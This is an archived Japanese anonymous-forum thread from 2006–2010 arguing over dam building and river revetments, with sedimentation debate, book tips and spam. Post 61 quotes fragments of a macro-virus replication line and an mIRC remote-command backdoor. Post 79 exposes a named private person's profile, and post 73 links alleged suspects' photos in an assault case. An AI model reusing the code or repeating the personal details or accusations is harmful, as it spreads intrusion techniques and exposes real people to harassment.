護岸工事・ダム建設推進派のスレッド

1 ：名無しさん＠お腹いっぱい。：2006/01/18(水) 07:56:58 ID:fFFIWde30

ふざけんじゃねえと。

景気回復のためには、公共事業をやるのは当然じゃねえか。

建設業界が潤うイコール世の中が潤うということだろうが。

2 ：名無しさん＠お腹いっぱい。：2006/01/18(水) 10:41:23 ID:7J+ZvxCoO

糞土建屋氏ね

3 ：名無しさん＠お腹いっぱい。：2006/01/18(水) 12:43:53 ID:ankjcvUVO

反開発プロ市民氏ね

4 ：名無しさん＠お腹いっぱい。：2006/01/18(水) 20:58:05 ID:YuuqNoi60

反対派は環境・電力板のこちらへどうぞ
http://society3.2ch.net/test/read.cgi/atom/1131892087/

5 ：名無しさん＠お腹いっぱい。：2006/01/19(木) 05:55:09 ID:kUfIF1l/0

国土交通省の、ダム技官はビーバーです。
ダムが必要かそうでないかは無関係に、狭隘な地形があると
本能でダムを作ろうとします。

6 ：名無しさん＠お腹いっぱい。：2006/01/19(木) 23:41:11 ID:uS2YFsg/0

>>5
おもろいwww

7 ：名無しさん＠お腹いっぱい。：2006/01/19(木) 23:56:27 ID:mlQmTxq40

金の流れが見えると、ダムを造りたがります。

8 ：名無しさん＠お腹いっぱい。：2006/01/20(金) 00:12:55 ID:yfXoRkSCO

反対派、環境派にもカネの流れを感じます。
むしろ裏で建設省と反対派が繋がっていて
事業を牛歩にして事業費増大を狙っているのかとさえ感じます

9 ：名無しさん＠お腹いっぱい。：2006/01/20(金) 11:31:48 ID:i9Z225dh0

今の「ダム建設＝環境破壊」という構図は、
アスワンハイダム建設の際に出来上がったらしい。
あの建設の裏には当時の「冷戦」の構図が深く関わっており、
その政治に振り回された建設工事だったとのこと。
高橋裕さんの新刊「川に生きる」に書いてあった。
ま、ウソかホントか知らないけどねw

10 ：名無しさん＠お腹いっぱい。：2006/01/24(火) 17:53:48 ID:gFFXwaq00

>>9
俺も読んだ。
かなり衝撃的だったけど、引用文の宇沢弘文さんの
岩波新書も気になる。

11 ：川の名無しのように：2006/02/10(金) 16:45:33 ID:caBVIObd0

>>9
その本、手に入れたいんだが、
書店で見かけない。
やっぱネット書店がいいのかな？

12 ：ダム万歳：2006/02/10(金) 18:54:41 ID:yepB0Zv90

日本の様に雨が多く、かつ地下水も多いそして山から海が近い日本には
ダムが必要なんだ。建設費なんかは住民の水道料金から徴収すればいいんだ。
観光地にもなる、レジャー開発だ。何なら茨城みたいにつり橋でも作ればいい。地元は大喜びだぞ。
どうせ数十年たてば土砂でうまってしまうし。茨城のとある海水浴場なんか、砂防ダムの
つくりすぎで、砂浜が消えてしまってな、夏になると砂を運んでいれてんだぞ、
二度おいしと思うだろ。

13 ：川の名無しのように：2006/02/10(金) 22:14:43 ID:Qf61uqJk0

>>12
＞どうせ数十年たてば土砂でうまってしまうし
どこのダムが数十年で土砂で埋まるんでしょうか？？
ごく一部の例外を除いて、殆どのダムは土砂で埋まるまで
数千年から数十万年以上ですが？？

14 ：川の名無しのように：2006/02/11(土) 08:56:36 ID:ohAD4tmj0

＞どうせ数十年たてば土砂でうまってしまうし

どこかのバカが稀少例をたたき上げて吹聴したせいか、
こういう勘違いをしてる一般市民が多いね

まさか砂防ダムと混同してるんじゃないよね？

15 ：川の名無しのように：2006/02/11(土) 12:14:37 ID:kHt3whvp0

＞１４
そのまさかですよ。ｗ

16 ：川の名無しのように：2006/02/12(日) 22:03:27 ID:XoPAI4wH0

>>11
俺は、紀伊國屋書店のネット販売で買ったぞ。

17 ：川の名無しのように：2006/02/13(月) 12:13:33 ID:M57PxZ910

>>13
論点はずれるが、マニアとしては、埋まったダムもいい感じだぞ。

アーチ式コンクリートとしては日本一小さい宮崎県諸塚村の「宮の元ダム」
http://www.nautis.org/page097.html

18 ：川の名無しのように：2006/02/13(月) 13:50:21 ID:AGhsRIr30

堆積物で埋まったダムの話は岩波書店の「ダム撤去」を読んでみろよ。
この本には反対派特有の扇動的な調子が無くてとにかく勉強になったぜ。
岩波は漢字むつかしいーけどな。

19 ：川の名無しのように：2006/02/14(火) 02:21:10 ID:abEgFBJK0

>>10

>引用文の宇沢弘文さんの
>岩波新書も気になる。

何って本ですか？

20 ：川の名無しのように：2006/02/14(火) 06:32:48 ID:jwqi8VNvO

>18
読んだが間違ってる点も多いぞ

21 ：川の名無しのように：2006/02/14(火) 10:03:20 ID:MYZ3M5iD0

え、どこよ？
教えてよ。

22 ：川の名無しのように：2006/02/14(火) 13:36:51 ID:7WxIYKsY0

>>19
「地球の温暖化を考える」宇沢弘文・著（岩波新書）だよ。
「川に生きる」高橋裕・著（山海堂）と併せて読んだら面白かったッス。

23 ：ダム万歳：2006/02/14(火) 13:48:54 ID:2Zo62v8O0

どこだか忘れたけど、たしか堆積土砂を排泄する機構を付けて、下流の海岸の砂が減るのを防ぐ
ことのできるダムもあるよね。実験したらただの土石流になって、一度きりしか排出できなかったんだよね。
地元の漁民たちはだまされたって泣いてたね。かわいそうだね、でもねそのダムのおかげで、そのダムの土砂を
バケツの水を耳掻きですくうがごとく、そのダムが無くなるまで半永久的にショベルカーですくって捨てるとゆう
偉大な公共事業が生まれたんだよ。そこの運転手には孫の代まで感謝されるじゃん。まー埋まるスピードの方が全然早いんだけどね。
ダム最高ー。まー何言おうが、造った後の事なんか誰もしらねーよな。
どーせ百年もたたないうちに人間なんか死んじゃうだから。それに地震がきたら、
みんな死ぬんだしね。あとね、線路はさんで水道料金が２倍、３倍なんて良くある話だから、みんなも
おどろかないか。役所の大事な収入源だもんね。

24 ：川の名無しのように：2006/02/14(火) 22:59:42 ID:jwqi8VNvO

>23
無知が溢れてますね。

25 ：19：2006/02/15(水) 02:06:31 ID:we9GYrIy0

>>22
ありがとう。
早速読んでみます。

26 ：川の名無しのように：2006/02/16(木) 00:33:46 ID:OaX8xgBe0

age

27 ：川の名無しのように：2006/04/14(金) 12:46:45 ID:6nuoxQFV0

海は山のたまもの

28 ：川の名無しのように：2006/04/18(火) 12:54:33 ID:T+DYkmj00

クソ役人め、川はタダの水がながれる溝じゃねぇぞ。

29 ：川の名無しのように：2006/04/25(火) 10:13:02 ID:xNbv0efz0

>>23
遅レスだけれども、感動した。
金の流れの現実をきちんと把握している人だな。

30 ：川の名無しのように：2006/07/20(木) 14:23:46 ID:HFfeoCSj0

　　　？？？　　　　　　　　　？？？？
　　？？？？？？？　　　　　　？？？？？？？？
　？？？？？？？？　　　　　？？？？？？？？
　？？？？？？？？？？？？？？？？？？？？？？
　■？？？？？？？？？？？　？？？？？？？？
　　？？？？■？？？　？　？　？？？？■？
　　　　　　？？？？　　？？？　？？？？
　　　　　　？？？？　　？？ ┃┃ ？？　　　　　　　　馬鹿にはコピペできないミッキーマウスだよ。
　　　　　？？？■？　　？？？？？？？？？
　　　　┃　？？　　　？？？？？？？■
　　　　？？　？？　　　　？■？？？？？
　　　　　？？　？？？　　　？？？？？
　　　　　　　 ◆？？ ▼？■？？？？
　　　　　　　？？？？？？？？？？？
　　　　　　　　？？？▼？？？？？
　　　　　　　　？■？　　　　？

31 ：ｄｄ：2006/07/20(木) 20:45:40 ID:OdwA6LPN0

32 ：川の名無しのように：2006/07/25(火) 20:48:18 ID:+y+45Jiv0

アリの巣コロリってあるじゃん。
蟻の行列にポンと置くと、一瞬ビックリして列が乱れる。
邪魔だなと言わんばかりに迂回する列が出来る。
そのうち好奇心旺盛な一匹がアリの巣コロリに入る。
そいつをマネして何匹も入る。
毒とも知らずにツブツブを運び出す。
一匹が一粒づつ。
いつのまにか行列はアリの巣コロリが折り返し地点になる。
黄色い粒と黒い蟻が作り出す模様は綺麗で見てて楽しい。
一匹が一粒づつ、丁寧にせっせと毒の粒を運ぶ。
せっせと、せっせと、せっせと、せっせと。
蟻さんって働き者だなと思う。
俺も頑張らなきゃなと思う。
次の日、あれほど沢山いて俺を困らせた蟻が一匹もいない。
ほんとにいない。
探してもいない。
泣きたくなった。

このﾚｽを見た人は４日後にあなたの大切な人がいなくなるでしょう・・・・
それが嫌ならこのﾚｽを５つの板にｺﾋﾟﾍﾟしてください。
信じるか信じないかはあなた次第です。

33 ：川の名無しのように：2006/07/26(水) 19:01:35 ID:q1CUIfsr0

34 ：川の名無しのように：2006/08/07(月) 14:00:16 ID:QzYiCmhk0

35 ：川の名無しのように：2006/09/14(木) 18:00:17 ID:BEIjWxn50

　　　　　　　　　　大深沢ダム
1 ：川の名無しのように：2006/09/07(木) 21:02:11 ID:nLpFFAfW0
下を流れる日橋川をせき止めた堰堤に怒濤でおちてくる水！
旧道はわざわざそこをかすめて橋をかけていた！
ダムを離れりゃちょろちょろ小川・・
子供恐怖の東電第四発電所！
http://society3.2ch.net/test/read.cgi/river/1157630531/l50

大深沢ダムの場所
ttp://vip.mapion.co.jp/c/f?grp=excite&uc=1&scl=25000&el=139%2F55%2F54.866&pnf=1&size=500%2C500&sfn=excite_maps_00&nl=37%2F34%2F34.177&edge=2&

36 ： ◆M2TLe2H2No ：2006/12/27(水) 16:21:45 ID:nRYm/C/G0

tesu

37 ：川の名無しのように：2007/01/26(金) 15:08:39 ID:P8dpVjtw0

なんか高知でブログ書いてるだけで、地元のジャーナリスト気取ってる
廃棄所反対のおっさんなんだけど、

http://dokodemo.cocolog-nifty.com/blog/

イラクの３馬鹿の講演会応援したり、高知市内のごちゃごちゃ
したところの都市整備工事に「電線の地中化の地震の際の危険度
は！」とか噛付いたり・・・

なんかこんなのばっかりなの？なんでもお上に反対派って？

38 ：川の名無しのように：2007/03/02(金) 08:40:54 ID:k+h5vADC0

植生護岸というのは
コストとか
効果とか
どんなもんなでしょうか？

39 ：川の名無しのように：2007/04/10(火) 21:26:39 ID:/pFqmgRNO

動植物はダントツ植生のほうが定着するがコンクリと比べると儲けが少ないらしいゼネコンは利益第一主義だし洪水のレベルも年々上がってるしコンクリつくって洪水で壊れてを繰り返したほうがおいしいのかもね

40 ：川の名無しのように：2007/07/17(火) 16:45:22 ID:AWkGCo020

過去の洪水に伴う治水工事に関係する鉄道工事にて立ち退き拒否物件があるのだが
取材もせずに思いこみと妄想だけで「行政の説明責任」だけを強調する阿呆
http://r30ibaraki.blog70.fc2.com/blog-entry-236.html

しかもＷＥＢすらまともに検索せずに「誰でも簡単に入手出来ない」と言い出す
http://r30ibaraki.blog70.fc2.com/blog-entry-238.html

団塊ジュニアってやっぱ阿呆ぞろいなのかね。

41 ：川の名無しのように：2007/07/21(土) 21:25:38 ID:06pzzv7X0

原発作るよりはダム作った方が
よほどいい。

42 ：川の名無しのように：2007/07/22(日) 03:09:33 ID:qiwJzqAPO

サクラダ出動

43 ：川の名無しのように：2007/07/28(土) 00:23:45 ID:1m8EvXYC0

ダムより原発だよ。

44 ：川の名無しのように：2007/07/28(土) 11:14:09 ID:ALmMWKvaO

原発は久喜市内に作れば良い
きっと、久喜市は素晴らしい大都会になるだろう～

45 ：川の名無しのように：2007/08/04(土) 01:10:35 ID:8RAQrmNs0

ダムで原発のかわりしようと思ったら
日本人が住むところがないくらい日本全部ダムにしてもたりんぞ。

46 ：川の名無しのように：2007/08/04(土) 23:30:18 ID:w72Z9Ewx0

そんな事より１よ、ちょいと聞いてくれよ。スレとあんま関係ないけどさ。
このあいだ、近所のダム推進集会行ったんです。ダム推進。
そしたらなんか人がめちゃくちゃいっぱいで座れないんです。
で、よく見たらなんか垂れ幕下がってて、牛乳サービス、とか書いてあるんです。
もうね、アホか1本如きで普段来てないダム推進に来てんじゃねーよ、ボケが。
牛乳1本だよ、１５０円。
なんか親子連れとかもいるし。一家４人でダム推進か。おめでてーな。
よーしパパ補償金もらっちゃうぞー、とか言ってるの。もう見てらんない。

47 ：川の名無しのように：2007/08/04(土) 23:35:57 ID:w72Z9Ewx0

で、やっと座れたかと思ったら、隣の奴が、工事はぜひウチの組で、とか言ってるんです。
そこでまたぶち切れですよ。
あのな、談合なんてきょうび流行んねーんだよ。ボケが。
得意げな顔して何が、ウチの組で、だ。
お前は本当にダムが欲しいのかと問いたい。問い詰めたい。小１時間問い詰めたい。
お前、単に仕事が欲しいだけちゃうんかと。

48 ：川の名無しのように：2007/08/04(土) 23:40:08 ID:w72Z9Ewx0

ダム推進通の俺から言わせてもらえば今、ダム推進通の間での最新流行はやっぱり、
住民合意、これだね。
徹底した合意形成。これが通の進め方。
住民合意ってのは民意が多めに入ってる。そん代わり官が少なめ。これ。
で、それに専門部会てんこ盛り。これ最強。
しかしこれを始めると次から上司にマークされるという危険も伴う、諸刃の剣。
素人にはお薦め出来ない。
まあお前、１は、ダム湖でバスでも釣ってなさいってこった。

49 ：川の名無しのように：2007/08/25(土) 22:52:35 ID:+MVT+CwzO

>>1ではないがダムだけじゃなく災害復旧以外の公共工事全体が建設雇用の確保だけのような気がする

50 ：川の名無しのように：2007/08/28(火) 16:21:58 ID:Z9e3kGgv0

>>38
工事委で壊れて災害復旧しなきゃならないモノや
これから新設する堤防・護岸には
環境型の堤防護岸にしたら少しは支持される。
例えば蛇篭とかだが、手間の掛かるから、
仕事が欲しい土建屋にはうってつけだろｗ

51 ：川の名無しのように：2007/08/28(火) 17:29:02 ID:sZZNsW540

>>50
大手ゼネコンが独占体制できるまで待って下さい(*´･д･)(･д･｀*)ﾈｰ

52 ：川の名無しのように：2007/08/28(火) 21:21:31 ID:QtSrNdopO

地場業者にやらせろ
技術？
大手と共同企業体すればいいだろう！

53 ：川の名無しのように：2007/09/03(月) 19:13:43 ID:8U99TJCCO

>>52
地場ゼネＪＶで技術面は特殊土木ゼネコンに丸投げすればおＫ！

54 ：川の名無しのように：2007/09/04(火) 22:18:52 ID:oTDm+OS70

>>8

55 ： ◆N5u1Z7zOy2 ：2007/10/27(土) 01:03:08 ID:4JzxZb8UO

56 ： ◆bMkXQZw0L2 ：2007/10/27(土) 01:03:54 ID:4JzxZb8UO

57 ：川の名無しのように：2007/11/12(月) 12:27:34 ID:xMSI3vG/0

age

58 ：鮫故ヒ素 ◆6VSame0AAo ：2008/05/12(月) 00:52:37 ID:6NqorH6O0

　　 ,ｖ----､、　　　,,,-i､　　　　　　　■　　　■　　　　
　_,/｀　　　 │ .r←″ .―ｰi､　　■■■■　■■■■
　―-''ケ ,r"　 └―――'''" 　　　　■　　　■　　　■　
　　ｒ'"′冖''''┐ ./"=、 ―-、　　　　■　　　■　　■　
　　| ロ .'l,,i!　.|　 ―'"　 ‘ｰ".,　　　　■　　　■　　 ■　
　　|.ｧ'i､.l,」 .,,,lﾞ　　l,''''i､,l~У　　　■■■■　■　■　
　　ﾟ'''“'''''''"｀　　　 `i､　.,i´　　　　 ■　　　■　　■　　
: ／i､Ｌ、r‐i､,!'ｰ､,ｒ'".,ﾋﾞ'i､　　　　■　　　■　■　■　
: ト″ | ,} ヽﾉﾞ'i､ﾉﾞl,／ヽ,,,ﾐ‐　　　■■■■■　　　■

　　　､ｰ､　　　　　　　　　　　　　　　　
　　　 |　〉　　 ,r､　　　　　　　　─|─
　　　 |　'-ｰ'''´__」　　　　　　　二|二　　
　　　 |　「￣￣　　　　　　　　く/　
　　　 |　.l､＿＿,,-､　　　　　　∠,＿　　　　
　　　 '､＿＿＿__,ﾉ　　　　　　/｜ヽ

59 ：川の名無しのように：2008/05/26(月) 23:59:23 ID:9ri1Ln9i0

てす

60 ：川の名無しのように：2008/06/08(日) 04:12:23 ID:Q7aUe3td0

ttp://www.vipper.net/vip538690.jpg

61 ：川の名無しのように：2008/06/09(月) 10:21:35 ID:bSDC9ZKv0

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-

62 ：川の名無しのように：2008/06/09(月) 10:37:08 ID:bSDC9ZKv0

63 ：川の名無しのように：2008/06/09(月) 16:32:22 ID:Frml4E790

ダム湖に堆積する土砂を背砂といいますがダムにはつきものです。
ダム湖は水深が深いので、土砂を取り除くには経費がかかります。
この背砂問題の解決法としては、ダム上流にいくつもの砂防ダムを作り、
砂防ダムに溜まった土砂を取り除くという方法があります。

64 ：川の名無しのように：2008/06/09(月) 18:25:44 ID:Frml4E790

＞ごく一部の例外を除いて、殆どのダムは土砂で埋まるまで
＞数千年から数十万年以上ですが？？

それはちょっとオーバーな

大きい雨で上流で地滑りなんかが起きるとそれが流れてきます。
土砂の流れは雨量・流量によるもので神のみぞ知る。
各河川で確立雨量なんか１００年スパンでを計算してます。

堤高１５ｍ以上のダムがおよそ２７００箇所
１９７７年依以来、貯水量百万トン以上のダムで堆砂状況なんかを
継続的に調査されている。
それによると４００年、平均０．２４％程度の速度で堆積する。

65 ：川の名無しのように：2008/06/09(月) 20:53:47 ID:jhzxPA880

完成後５年で堆砂容量オーバーするダムもあるから、注意が必要だ。

66 ：川の名無しのように：2008/06/10(火) 03:05:12 ID:+eNU3HKY0

排砂ゲート設けりゃいいだけだろ、アホか

67 ：川の名無しのように：2008/06/10(火) 03:20:52 ID:+hisVM0S0

二風谷ダムには排砂ゲートが７門ついてるが、
完成後５年で堆砂容量オーバーしすでに250%だ。
現実を見なさい。

68 ：川の名無しのように：2008/06/10(火) 03:25:04 ID:+eNU3HKY0

にぶだには巨大な砂防ダムになるしかないだろうね

69 ：川の名無しのように：2008/06/10(火) 09:44:00 ID:5k0F/KBl0

排砂ゲートは問題になってるだろうが。
これからの新規のダムに設けられるかは微妙

70 ：川の名無しのように：2008/06/14(土) 14:33:14 ID:/7QAds4M0

栗駒ダム大丈夫か？　ま、重力式だし震度６くらいだったら大丈夫とは思うけど。

71 ：川の名無しのように：2008/08/03(日) 17:15:09 ID:U3ShYLA70

てすと

72 ：川の名無しのように：2008/12/05(金) 15:14:34 ID:gIadVUMTO

毎年この時期、北陸のある一級河川見て思ったが
雨が土砂降りの中でも盛土工事してるな
あんな濡れた土砂で堤防になるの？
雪とかで工期が遅れる問題なのは分かるがね
そもそも冬空の気候が悪い時期に盛土工事発注してる国土交通省のシステムに問題がある様に思える

73 ：川の名無しのように：2008/12/06(土) 23:00:19 ID:Zcc1LUo+0

雲仙で起きた武雄河川事務所職員女性の輪姦事件の捜査にご協力下さい
http://society6.2ch.net/test/read.cgi/koumu/1221990146/l50

事件の関係者とされている写真
http://pds.exblog.jp/pds/1/200710/15/59/d0073159_21205742.jpg

74 ：川の名無しのように：2009/01/06(火) 18:57:46 ID:vTloILYF0

タイコムの衛星ブロードバンドサービス in アジア太平洋諸国
http://www.ipstar.com/en/whereto.aspx

75 ：川の名無しのように：2009/01/09(金) 01:41:04 ID:Ejd3F6t50

ただ知りたいのですが、河川工事での、河川の等級別の工事費の税負担率。
あとダムの種類別の工事費の税負担率を教えて下さい。
もし分かれば、河川もダムも工事別でいろいろ交付税あるなら、それも
知りたいのですが。

76 ：a：2009/10/03(土) 23:28:45 ID:CWzmhFCY0

>>73
右側の女性？左側の人？左側の人かわいいね

77 ：川の名無しのように：2009/12/25(金) 12:11:19 ID:Pu9WpWVZ0

78 ：川の名無しのように：2009/12/25(金) 17:10:11 ID:v98g85TzO

高橋エリンなんているわけなし

79 ：川の名無しのように：2010/07/10(土) 02:20:38 ID:kv56Obpi0

無駄な公共事業ウオッチャーってキモイな。
こう言うバカもマスコミに洗脳されたクチだろうな。

mixi　id=421373

名前小林誠
性別男性
現住所東京都品川区
年齢 35歳
誕生日 11月27日
血液型 A型
出身地東京都多摩市
趣味旅行, ゲーム, ギャンブル
職業 IT関係
自己紹介こばです。
どちらかと言うと、負け組です。
いや、そんな大敗じゃないですよ！
ちょっとだけなんです！！

趣味は競馬で、馬を持ってます。
一口馬主ってやつです。
今まで７頭デビューして、合計で１勝・・・
大敗じゃないんです！
２着３着は多いんですよ！！
犬は飼い主に似ると言うけど・・・

無駄な公共事業ウオッチャーです。
豪華さと無駄さ、感動とイタさが交錯した、複雑な気持ちを味わえます！
ハマったきっかけはもちろん夕張！

80 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 20:16:15 ID:+TviMOUR0

>>38
市街地の方では伸びた植生は誰が維持管理するの？って話になるし
山に近いところでは植生でもつほどの流速で済むことは少ない気がする

>>50
ああいうのって景観がどうのこうので発注者にごねられるよね
いや実際見た目悪いんだけどさ

というものっそい遅レス

どうでもいいけど護岸とダムが一括りなのはすごい違和感
都市部のゲリラ豪雨のニュースとか見てると、もう川の改修がどうこうってだけじゃなくなってるのかしら

81 ：川の名無しのように：2010/08/21(土) 10:22:41 ID:kTGS/qJG0

島崎うぜえ

82 ：川の名無しのように：2010/09/03(金) 10:51:32 ID:MrNWIaZ+0